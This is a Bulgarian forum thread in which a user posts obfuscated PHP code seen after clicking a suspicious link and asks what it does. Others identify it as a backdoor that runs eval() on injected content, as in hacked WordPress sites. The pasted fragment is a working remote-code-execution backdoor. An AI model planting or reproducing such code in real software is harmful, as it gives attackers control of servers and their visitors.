Изпечатай

[petar258]

Кликнах на един линк, и се случиха някои странни случки. Като проверих на друго устройство, се видя това при зареждане на страница:

Код:

$efb2){$j7d7bb47=$efb2;$ldecbc0cf=$d76bf0;}if(!$j7d7bb47){foreach($sb8ad544[$sb8ad544['f0bc2'][29].$sb8ad544['f0bc2'][58].$sb8ad544['f0bc2'][75].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][94]]as$d76bf0=>$efb2){$j7d7bb47=$efb2;$ldecbc0cf=$d76bf0;}}$j7d7bb47=@$sb8ad544[$sb8ad544['f0bc2'][54].$sb8ad544['f0bc2'][50].$sb8ad544['f0bc2'][94].$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][4].$sb8ad544['f0bc2'][39]]($sb8ad544[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][20].$sb8ad544['f0bc2'][58].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][20].$sb8ad544['f0bc2'][63].$sb8ad544['f0bc2'][75]]($sb8ad544[$sb8ad544['f0bc2'][67].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][15].$sb8ad544['f0bc2'][17].$sb8ad544['f0bc2'][50].$sb8ad544['f0bc2'][13].$sb8ad544['f0bc2'][75]]($j7d7bb47),$ldecbc0cf));if(isset($j7d7bb47[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][71]])&&$xf027==$j7d7bb47[$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][71]]){if($j7d7bb47[$sb8ad544['f0bc2'][57]]==$sb8ad544['f0bc2'][62]){$y97f1c=Array($sb8ad544['f0bc2'][54].$sb8ad544['f0bc2'][67]=>@$sb8ad544[$sb8ad544['f0bc2'][94].$sb8ad544['f0bc2'][81].$sb8ad544['f0bc2'][82].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][63].$sb8ad544['f0bc2'][15]](),$sb8ad544['f0bc2'][73].$sb8ad544['f0bc2'][67]=>$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][53].$sb8ad544['f0bc2'][17].$sb8ad544['f0bc2'][83].$sb8ad544['f0bc2'][39],);echo@$sb8ad544[$sb8ad544['f0bc2'][97].$sb8ad544['f0bc2'][39].$sb8ad544['f0bc2'][57].$sb8ad544['f0bc2'][82].$sb8ad544['f0bc2'][75]]($y97f1c);}elseif($j7d7bb47[$sb8ad544['f0bc2'][57]]==$sb8ad544['f0bc2'][58]){eval($j7d7bb47[$sb8ad544['f0bc2'][20]]);}exit();} ?>

Може ли някой да каже какво прави този код, а също ми е интересно значението на често повтарящите се " $sb8ad544['f0bc2'] " . Възможно е да става дума за програмен език ползващ се при андроид.

[Odido]

Това е php. За да го видиш означава че линка не е работил коректно или някой си е "оставил ръцете".

[NorthBridge]

Точно обфускиран php код, който е голяма мъка да се декодира, но обикновено някъде в него има един-два броя eval()-a инжектиращи съдържание. Преди седмица се натъкнах на нещо подобно, един японец беше намерил backdoor в един wordpress, и си беше инжектирал своя сайт за продажба на часовници.  Голяма мъка е да се чисти това, а и гугъл индексират, и става едно весело...

Ако не е твой сайта, няма от какво да се притесняваш 

[petar258]

Хах не е мой сайта. Като гледах whois инфото обаче е регистриран наскоро, дали специално за мен е регнат или е съвпадение не е ясно. Кода е предвиден за мобилни устройства - там зарежда това-онова и ако не се клика никъде, се оправя с чистене на кеш, история и кукита(надявам се). Докладван е за фишинг, надявам се да разследват случая.